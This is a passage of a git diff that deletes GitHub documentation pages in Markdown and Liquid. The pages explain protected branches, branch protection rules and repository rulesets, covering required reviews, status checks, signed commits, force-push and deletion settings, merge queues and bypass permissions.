enable **Allow fork syncing** to pull changes from the upstream repository while preventing other contributions to the fork's branch. - -### Do not allow bypassing the above settings - -By default, the restrictions of a branch protection rule do not apply to people with admin permissions to the repository or custom roles with the "bypass branch protections" permission in a repository. - -You can enable this setting to apply the restrictions to admins and roles with the "bypass branch protections" permission, too. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). - -### Restrict who can push to matching branches - -{% ifversion fpt or ghec %} -You can enable branch restrictions in public repositories owned by a {% data variables.product.prodname_free_user %} organization and in all repositories owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}. -{% endif %} - -When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging into the branch when the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required. - -Optionally, you can apply the same restrictions to the creation of branches that match the rule. For example, if you create a rule that only allows a certain team to push to any branches that contain the word `release`, only members of that team would be able to create a new branch that contains the word `release`. - -You can only give push access to a protected branch, or give permission to create a matching branch, to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch or create a matching branch. - -### Allow force pushes - -By default, {% data variables.product.github %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, you can choose one of two groups who can force push: - -1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions. -1. Allow only specific people or teams to force push to the branch. - -If someone force pushes to a branch, the force push may mean commits that other collaborators based their work on are removed from the history of the branch. People may have merge conflicts or corrupted pull requests. Force pushing can also be used to delete branches or point a branch to commits that were not approved in a pull request. - -Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch. - -{% ifversion ghes %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise). - -If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %} - -### Allow deletions - -By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch. - -> [!NOTE] -> If the branch is locked, you cannot delete the branch even if you have permission to delete it. diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/index.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/index.md deleted file mode 100644 index 218adcddfc36..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Managing protected branches -intro: 'You can set up rules to protect certain branches in your repository. For example, you can block pull requests that don''t pass status checks or require that pull requests have a specific number of approving reviews before they can be merged.' -redirect_from: - - /articles/defining-the-mergeability-of-a-pull-request - - /articles/defining-the-mergeability-of-pull-requests - - /enterprise/admin/developer-workflow/establishing-pull-request-merge-conditions - - /github/administering-a-repository/defining-the-mergeability-of-pull-requests - - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests -product: '{% data reusables.gated-features.protected-branches %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /about-protected-branches - - /managing-a-branch-protection-rule -shortTitle: Manage protected branches ---- diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule.md deleted file mode 100644 index 31c06622d80e..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Managing a branch protection rule -intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.' -product: '{% data reusables.gated-features.protected-branches %}' -redirect_from: - - /articles/configuring-protected-branches - - /enterprise/admin/developer-workflow/configuring-protected-branches-and-required-status-checks - - /articles/enabling-required-status-checks - - /github/administering-a-repository/enabling-required-status-checks - - /articles/enabling-branch-restrictions - - /github/administering-a-repository/enabling-branch-restrictions - - /articles/enabling-required-reviews-for-pull-requests - - /github/administering-a-repository/enabling-required-reviews-for-pull-requests - - /articles/enabling-required-commit-signing - - /github/administering-a-repository/enabling-required-commit-signing - - /github/administering-a-repository/requiring-a-linear-commit-history - - /github/administering-a-repository/enabling-force-pushes-to-a-protected-branch - - /github/administering-a-repository/enabling-deletion-of-a-protected-branch - - /github/administering-a-repository/managing-a-branch-protection-rule - - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule - - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: 'People with admin permissions or a custom role with the "edit repository rules" permission to a repository can manage branch protection rules.' -topics: - - Repositories -shortTitle: Branch protection rule ---- -## About branch protection rules - -{% data reusables.repositories.branch-rules-example %} - -You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. {% data reusables.repositories.about-fnmatch %} - -If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority. - -Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority. - -To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. - -For more information about each of the available branch protection settings, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -> [!NOTE] -> Only a single branch protection rule can apply at a time, which means it can be difficult to know how which rule will apply when multiple versions of a rule target the same branch. {% ifversion repo-rules-enterprise %}Additionally, you may want to create a single set of rules that applies to multiple repositories in an organization. {% endif %}For information about an alternative to branch protection rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## Creating a branch protection rule - -When you create a branch rule, the branch you specify doesn't have to exist yet in the repository. - -> [!NOTE] -> Actors may only be added to bypass lists when the repository belongs to an organization. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repository-branches %} -{% data reusables.repositories.add-branch-protection-rules %} -1. Optionally, enable required pull requests. -{% indented_data_reference reusables.pull_requests.security-changes-mergeability spaces=3 %} - * Under "Protect matching branches", select **Require a pull request before merging**. - * Optionally, to require approvals before a pull request can be merged, select **Require approvals**. - - Select the **Required number of approvals before merging** dropdown menu, then click the number of approving reviews you would like to require on the branch. - * Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**. - * Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. Note that if code has multiple owners, an approval from _any_ of the code owners will be sufficient to meet this requirement. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - * Optionally, to allow specific actors to push code to the branch without creating pull requests when they're required, select **Allow specified actors to bypass required pull requests**. Then, search for and select the actors who should be allowed to skip creating a pull request. - * Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, in the search field, search for and select the actors who are allowed to dismiss pull request reviews. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review). - * Optionally, to require someone other than the last person to push to a branch to approve a pull request prior to merging, select **Require approval of the most recent reviewable push**. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-pull-request-reviews-before-merging). -1. Optionally, enable required status checks. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - * Select **Require status checks to pass before merging**. - * Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**. - * In the search field, search for status checks, selecting the checks you want to require. -1. Optionally, select **Require conversation resolution before merging**. -1. Optionally, select **Require signed commits**. -1. Optionally, select **Require linear history**. -1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} -1. Optionally, to choose which environments the changes must be successfully deployed to before merging, select **Require deployments to succeed before merging**, then select the environments. -1. Optionally, make the branch read-only. - * Select **Lock branch**. - * Optionally, to allow fork syncing, select **Allow fork syncing**. -1. Optionally, select **Do not allow bypassing the above settings**. -1. Optionally,{% ifversion fpt or ghec %} in public repositories owned by a {% data variables.product.prodname_free_user %} organization and in all repositories owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions. - * Select **Restrict who can push to matching branches**. - * Optionally, to also restrict the creation of matching branches, select **Restrict pushes that create matching branches**. - * In the search field, search for and select the people, teams, or apps who will have permission to push to the protected branch or create a matching branch. -1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. - - Then, choose who can force push to the branch. - * Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions. - * Select **Specify who can force push** to allow only specific actors to force push to the branch. Then, search for and select those actors. - - For more information about force pushes, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#allow-force-pushes). -1. Optionally, select **Allow deletions**. -1. Click **Create**. - -## Editing a branch protection rule - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repository-branches %} -1. To the right of the branch protection rule you want to edit, click **Edit**. -1. Make your desired changes to the branch protection rule. -1. Click **Save changes**. - -## Deleting a branch protection rule - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repository-branches %} -1. To the right of the branch protection rule you want to delete, click **Delete**. diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets.md deleted file mode 100644 index 4da3fec039f4..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: About rulesets -intro: Rulesets help you to control how people can interact with branches and tags in a repository. -product: '{% data reusables.gated-features.repo-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: '{% data reusables.repositories.repo-rules-permissions %}' -topics: - - Repositories -shortTitle: About rulesets ---- - -## About rulesets - -A ruleset is a named list of rules that applies to a repository{% ifversion repo-rules-enterprise %}, or to multiple repositories in an organization{% endif %}. You can have up to 75 rulesets per repository{% ifversion repo-rules-enterprise %}, and 75 organization-wide rulesets{% endif %}. - -When you create a ruleset, you can allow certain users to bypass the rules in the ruleset. This can be users with a certain role, such as repository administrator, or it can be specific teams or {% data variables.product.prodname_github_apps %}. For more information about granting bypass permissions, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#granting-bypass-permissions-for-your-ruleset). - -{% ifversion not ghes %} - -For organizations on the {% data variables.product.prodname_enterprise %} plan, you can set up rulesets at the {% ifversion enterprise-code-rulesets %} enterprise or {% endif %}organization level to target multiple repositories in your organization. See [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. - -{% endif %} - -{% ifversion push-rulesets %} - -You can use rulesets to target branches or tags in a repository or to block pushes to a repository and the repository's entire fork network. - -{% endif %} - -{% ifversion push-rule-delegated-bypass %} - -{% data reusables.repositories.about-push-rule-delegated-bypass %} - -{% endif %} - -### Branch and tag rulesets - -You can create rulesets to control how people can interact with selected branches and tags in a repository. You can control things like who can push commits to a certain branch{% ifversion repo-rules-enterprise %} and how the commits must be formatted{% endif %}, or who can delete or rename a tag. For example, you could set up a ruleset for your repository's `feature` branch that requires signed commits and blocks force pushes for all users except repository administrators. - -For each ruleset you create, you specify which branches or tags in your repository{% ifversion repo-rules-enterprise %}, or which repositories in your organization,{% endif %} the ruleset applies to. You can use `fnmatch` syntax to define a pattern to target specific {% ifversion repo-rules-enterprise %}branches, tags, and repositories{% else %}branches and tags{% endif %}. For example, you could use the pattern `releases/**/*` to target all branches in your repository whose name starts with the string `releases/`. For more information on `fnmatch` syntax, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). - -{% ifversion push-rulesets %} - -### Push rulesets - -{% data reusables.repositories.push-rulesets-overview %} - -{% endif %} - -{% ifversion ghes < 3.16 %} - -## About rulesets, protected branches, and protected tags - -{% else %} - -## About rulesets and protected branches - -{% endif %} - -Rulesets work alongside any branch protection rules{% ifversion ghes < 3.16 %} and tag protection rules{% endif %} in a repository. Many of the rules you can define in rulesets are similar to protection rules, and you can start using rulesets without overriding any of your existing protection rules. - -{% ifversion ghes < 3.16 %} - -Additionally, you can import existing tag protection rules into repository rulesets. This will implement the same tag protections you currently have in place for your repository. See [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules#about-importing-tag-protection-rules-to-repository-rulesets). - -{% endif %} - -Rulesets have the following advantages over branch {% ifversion ghes < 3.16 %} -and tag{% endif %} protection rules. - -* Unlike protection rules, multiple rulesets can apply at the same time, so you can be confident that every rule targeting a branch {% ifversion ghes < 3.16 %}or tag{% endif %} in your repository will be evaluated when someone interacts with that branch{% ifversion ghes < 3.16 %} or tag{% endif %}. See [About rule layering](#about-rule-layering). -* Rulesets have statuses, so you can easily manage which rulesets are active in a repository without needing to delete rulesets. -* Anyone with read access to a repository can view the active rulesets for the repository. This means a developer can understand why they have hit a rule, or an auditor can check the security constraints for the repository, without requiring admin access to the repository. -* You can create additional rules to control the metadata of commits entering a repository, such as the commit message and the author's email address. See [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#metadata-restrictions){% ifversion ghec %}."{% else %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -## Using ruleset enforcement statuses - -{% data reusables.repositories.rulesets-about-enforcement-statuses %} - -## About rule layering - -A ruleset does not have a priority. Instead, if multiple rulesets target the same branch or tag in a repository, the rules in each of these rulesets are aggregated. If the same rule is defined in different ways across the aggregated rulesets, the most restrictive version of the rule applies. As well as layering with each other, rulesets also layer with protection rules targeting the same branch or tag. - -For example, consider the following situation for the `my-feature` branch of the `octo-org/octo-repo` repository. - -* An administrator of the repository has set up a ruleset targeting the `my-feature` branch. This ruleset requires signed commits, and three reviews on pull requests before they can be merged. -* An existing branch protection rule for the `my-feature` branch requires a linear commit history, and two reviews on pull requests before they can be merged.{% ifversion repo-rules-enterprise %} -* An administrator of the `octo-org` organization has also set up a ruleset targeting the `my-feature` branch of the `octo-repo` repository. The ruleset blocks force pushes, and requires one review on pull requests before they can be merged.{% endif %} - -The rules from each source are aggregated, and all rules apply. Where multiple different versions of the same rule exist, the result is that the most restrictive version of the rule applies. Therefore, the `my-feature` branch requires signed commits and a linear commit history{% ifversion repo-rules-enterprise %}, force pushes are blocked{% endif %}, and pull requests targeting the branch will require three reviews before they can be merged. diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets.md deleted file mode 100644 index cc9bb852ea95..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets.md +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: Available rules for rulesets -intro: Learn which rules you can add to a ruleset to protect specific branches and tags in a repository. -product: '{% data reusables.gated-features.repo-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: '{% data reusables.repositories.repo-rules-permissions %}' -topics: - - Repositories -shortTitle: Available rules -redirect_from: - - /actions/sharing-automations/required-workflows ---- - -You can create branch or tag rulesets to control how users can interact with selected branches and tags in a repository. {% ifversion push-rulesets %}You can also create push rulesets to block pushes to a private or internal repository and that repository's entire fork network.{% endif %} - -When you create a ruleset, you can allow certain users to bypass the rules in the ruleset. This can be users with certain roles, specific teams, or {% data variables.product.prodname_github_apps %}. - -{% ifversion push-rulesets %} - -For push rulesets, bypass permissions apply to a repository and the repository's entire fork network. {% data reusables.repositories.rulesets-push-rulesets-bypass-permissions %} - -{% endif %} - -For more information on creating rulesets and bypass permissions, see {% ifversion ghec %}[AUTOTITLE](/enterprise-cloud@latest/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization) and {% endif %}[AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository). - -## Restrict creations - -If selected, only users with bypass permissions can create branches or tags whose name matches the pattern you specify. - -## Restrict updates - -If selected, only users with bypass permissions can push to branches or tags whose name matches the pattern you specify. - -## Restrict deletions - -If selected, only users with bypass permissions can delete branches or tags whose name matches the pattern you specify. This rule is selected by default. - -## Require linear history - -Enforcing a linear commit history prevents collaborators from pushing merge commits to the targeted branches or tags. This means that any pull requests merged into the branch or tag must use a squash merge or a rebase merge. A strictly linear commit history can help teams revert changes more easily. For more information about merge methods, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). - -Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges). - -{% ifversion repo-rules-merge-queue %} - -## Require merge queue - -> [!NOTE] -> * This rule is not available for rulesets created at the organization level. For more information about creating rulesets at the repository level, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository). - -You can require that merges must be performed with a merge queue at the repository level. For more information about merge queues, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue#about-merge-queues). - -### Additional settings - -You can configure various settings for your merge queue rule. - -* **Merge method:** Method to use when merging changes from pull requests. -* **Build concurrency:** Limit the number of queued pull requests requesting checks and workflow runs at the same time. - * This setting controls when merge queue dispatches the `merge_group.checks_requested` webhook event, which triggers {% data variables.product.prodname_actions %} workflows that are configured to run on `merge_group`. For more information, see [AUTOTITLE](/webhooks/webhook-events-and-payloads#merge_group). - * For example, if there are 5 pull requests added to the queue and the build concurrency setting is 3, merge queue will dispatch the `checks_requested` event for the first 3 pull requests. When it receives a result for one of those pull requests, merge queue will dispatch the event for the 4th pull request, and so on. -* **Minimum/maximum group size:** The number of pull requests that will be merged together in a group. -* **Wait time to meet minimum group size (minutes):** The time the merge queue will wait after the first pull request is added to the queue for the minimum group size to be met. After this time has elapsed, the minimum group size will be ignored and a smaller group will be merged. -* **Require all queue entries to pass required checks:** - * When this setting is enabled, each item in the merge group must pass all required checks. - * When this setting is disabled, only the commit at the head of the merge group, i.e. the commit containing changes from all of the pull requests in the group, must pass its required checks to merge. -* **Status check timeout (minutes):** Maximum time for a required status check to report a conclusion. After this much time has elapsed, checks that have not reported a conclusion will be assumed to have failed - -{% endif %} - -## Require deployments to succeed before merging - -{% ifversion repo-rules-enterprise %} - -> [!NOTE] This rule is not available for rulesets created at the organization level. - -{% endif %} - -You can require that changes are successfully deployed to specific environments before a branch can be merged. For example, you can use this rule to ensure that changes are successfully deployed to a staging environment before the changes merge to your default branch. - -## Require signed commits - -When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -Branch protection rules and rulesets behave differently when you create a branch: with rulesets, we check only the commits that aren't accessible from other branches, whereas with branch protection rules, we do not verify signed commits unless you restrict pushes that create matching branches. With both, when you update a branch, we still check all the commits in the specified range, even if a commit is reachable from other branches. - -With both methods, we use the `verified_signature?` to confirm if a commit has a valid signature. If not, the update is not accepted. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> * If you have enabled vigilant mode in your account settings, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see [AUTOTITLE](/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits). -> * If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. - -{% else %} - -> [!NOTE] If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. - -{% endif %} - -You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request. However, you cannot squash and merge a pull request into the branch on {% data variables.product.github %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.github %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally). - -{% ifversion fpt or ghec %} For more information about merge methods, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github).{% endif %} - -## Require a pull request before merging - -You can require that all changes to the target branch be associated with a pull request. The pull request doesn't necessarily have to be approved, but it must be opened. - -### Additional settings - -{% data reusables.pull_requests.security-changes-mergeability %} - -{% data reusables.pull_requests.required-reviews-for-prs-summary %} - -If you enable required reviews, collaborators can only push changes to a branch via a pull request that is approved by the required number of reviewers with write permissions. - -If someone chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review. - -{% data reusables.repositories.review-policy-overlapping-commits %} - -Optionally, you can choose to dismiss stale pull request approvals when commits are pushed that affect the diff in the pull request. {% data variables.product.company_short %} records the state of the diff at the point when a pull request is approved. This state represents the set of changes that the reviewer approved. If the diff changes from this state (for example, because a contributor pushes new changes to the pull request branch or clicks **Update branch**, or because a related pull request is merged into the target branch), the approving review is dismissed as stale, and the pull request cannot be merged until someone approves the work again. For information about the target branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -Optionally, you can choose to require reviews from code owners. If you do, any pull request that modifies content with a code owner must be approved by that code owner before the pull request can be merged into the protected branch. Note that if code has multiple owners, an approval from _any_ of the code owners will be sufficient to meet this requirement. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -Optionally, you can require an approval from someone other than the last person to push to a branch before a pull request can be merged. This means at least one other authorized reviewer has approved any changes. For example, the "last reviewer" can check that the latest set of changes incorporates feedback from other reviews, and does not add new, unreviewed content. - -For complex pull requests that require many reviews, requiring an approval from someone other than the last person to push can be a compromise that avoids the need to dismiss all stale reviews: with this option, "stale" reviews are not dismissed, and the pull request remains approved as long as someone other than the person who made the most recent changes approves it. Users who have already reviewed a pull request can reapprove after the most recent push to meet this requirement. If you are concerned about pull requests being "hijacked" (where unapproved content is added to approved pull requests), it is safer to dismiss stale reviews. - -Optionally, you can require all comments on the pull request to be resolved before it can be merged to a branch. This ensures that all comments are addressed or acknowledged before merge. - -{% ifversion repo-rules-merge-type %} -Optionally, you can require a merge type of merge, squash, or rebase. This means the targeted branches may only be merged based on the allowed type. Additionally if the repository has disabled a merge method and the ruleset required a different method, the merge will be blocked. See [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github). -{% endif %} - -## Require status checks to pass before merging - -Required status checks ensure that all required CI tests are passing before collaborators can make changes to a branch or tag targeted by your ruleset. Required status checks can be checks or statuses. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - -You can use the commit status API to allow external services to mark commits with an appropriate status. For more information, see [AUTOTITLE](/rest/commits/statuses). - -After enabling required status checks, all required status checks must pass before collaborators can merge changes into the branch or tag. {% ifversion repo-rules-ignorecheck %} Optionally, you can select "Do not require status checks on creation" if you wish to allow branch creation regardless of the status check result. {% endif %} - -Any person or integration with write permissions to a repository can set the state of any status check in the repository, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check rule, you can select an app as the expected source of status updates. The app must be installed in the repository with the `statuses:write` permission, must have recently submitted a check run, and must be associated with a pre-existing required status check in the ruleset. If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box. - -To troubleshoot issues with configuring status checks in rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/troubleshooting-rules#troubleshooting-required-status-checks). - -{% ifversion repo-rules-enterprise %} - -> [!NOTE] For organization-level status checks, the app must be installed with the `statuses:write` permission. Only apps with this permission are displayed when configuring rulesets at the organization-level. - -{% endif %} - -You can think of required status checks as being either "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging. - -| Type of required status check | Setting | Merge requirements | Considerations | -| --- | --- | --- | --- | -| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The topic branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators update the target branch.| -| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. | -| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes. - -For status check troubleshooting information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/troubleshooting-required-status-checks). - -{% ifversion code-scanning-merge-protection-rulesets %} - -## Set {% data variables.product.prodname_code_scanning %} merge protection - -If your repositories are configured with {% data variables.product.prodname_code_scanning %}, you can use rulesets to prevent pull requests from being merged when one of the following conditions is met: - -{% data reusables.code-scanning.merge-protection-rulesets-conditions %} - -For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection). For more general information about {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning). - -{% endif %} - -## Block force pushes - -You can prevent users from force pushing to the targeted branches or tags. This rule is enabled by default. - -If someone force pushes to a branch or tag, commits that other collaborators have based their work on may be removed from the history of the branch or tag. This may lead to merge conflicts or corrupted pull requests. Force pushing can also be used to delete branches or point a branch to commits that were not approved in a pull request. - -Enabling force pushes will not override any other rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch. - -{% ifversion ghes %}You cannot enable force pushes for a branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise). - -If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other branch or tag.{% endif %} - -{% ifversion repo-rules-required-workflows %} - -## Require workflows to pass before merging - -{% data reusables.repositories.rulest-workflows-intro-paragraph %} - -For more information about troubleshooting common ruleset workflow configuration settings, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/troubleshooting-rules#troubleshooting-ruleset-workflows). - -### Using a workflow file - -To use this rule, you must first create a workflow file. The workflow file needs to be in a repository that matches the visibility of the repositories you want to run it in. Specifically, a public workflow can run on any repository in your organization, an internal workflow can only run on internal and private repositories, and a private workflow can only run on private repositories. For more information, see [AUTOTITLE](/actions/using-workflows/about-workflows). - -If the workflow file is in an internal or private repository and you want to use the workflow in other repositories in the organization, you will need to allow access to the workflow from outside the repository. For more information, see [Allowing access to components in an internal repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository) or [Allowing access to components in a private repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository). - -When you add this rule to a ruleset, in your organization settings, you specify the source repository and the workflow you want to enforce. - -### Using "Evaluate" mode for ruleset workflows - -If a ruleset workflow runs in "Evaluate" mode and passes, you can set the ruleset workflow to "Active" mode and merge your pull request without triggering a new workflow run. - -If you open a pull request before you create the ruleset in "Evaluate" mode, you can still merge the pull request since the ruleset is not enforced. - -For more information about enforcement statuses, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#about-using-enforcement-statuses). - -### Supported event triggers - -{% data reusables.repositories.ruleset-workflow-event-triggers %} - -### Targeting specific branches with your ruleset workflow - -Applying this rule will block direct pushes because the ruleset workflows run as part of the pull request and merge queue experience. For this reason you should not apply this rule to a ruleset that targets all branches in the repository. - -This rule should only be added to rulesets that target branches where all changes to the branch are performed by pull requests. - -{% ifversion repo-rules-ignorecheck %} Optionally, you can select "Do not require workflows checks on creation" if you wish to allow branch creation regardless of the status check result. {% endif %} -{% endif %} - -{% 